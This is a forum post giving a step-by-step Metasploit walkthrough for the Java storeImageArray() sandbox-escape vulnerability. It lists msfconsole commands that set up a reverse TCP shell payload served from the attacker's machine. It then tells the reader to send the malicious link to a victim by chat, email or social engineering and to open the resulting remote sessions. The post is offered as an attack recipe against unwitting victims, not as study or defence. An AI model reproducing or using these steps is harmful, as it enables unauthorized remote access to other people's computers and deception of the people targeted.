• We just launched and are currently in beta. Join us as we build and grow the community.

Hack Remote Windows or Linux PC with Java store Image Array() Invalid Array Indexing Vulnerability

poopyface

Decentralized Identity Advocate
P Rep
0
0
0
Rep
0
P Vouches
0
0
0
Vouches
0
Posts
33
Likes
182
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1 200 XP
This module abuses an Invalid Array Indexing Vulnerability on the static function storeImageArray() function in order to produce a memory corruption and finally escape the Java Sandbox. The vulnerability affects Java version 7u21 and earlier. The module, which doesn’t bypass click2play, has been tested successfully on Java 7u21 on Windows and Linux systems.

Exploit Targets

Windows PC

Linux PC

Java 7 update 7

Java 7 update 21

Requirement

Attacker: Kali Linux

Victim PC: Windows XP SP 3

Open Kali Linux terminal type msfconsole

1.jpg


Now type use exploit/multi/browser/java_storeimagearray

msf exploit (java_storeimagearray)>set payload java/shell_reverse_tcp

msf exploit (java_storeimagearray)>set lhost 192.168.1.3 (IP of Local Host)

msf exploit (java_storeimagearray)>set srvhost 192.168.1.3 (This must be an address on the local machine)

msf exploit (java_storeimagearray)>set uripath / (The Url to use for this exploit)

msf exploit (java_storeimagearray)>exploit

2.jpg


Now an URL you should give to your victim
Send the link of the server to the victim via chat or email or any social engineering technique.

3.jpg


Now you have access to the victims PC. Use “sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“

4.jpg
 

452,496

330,760

330,768

Top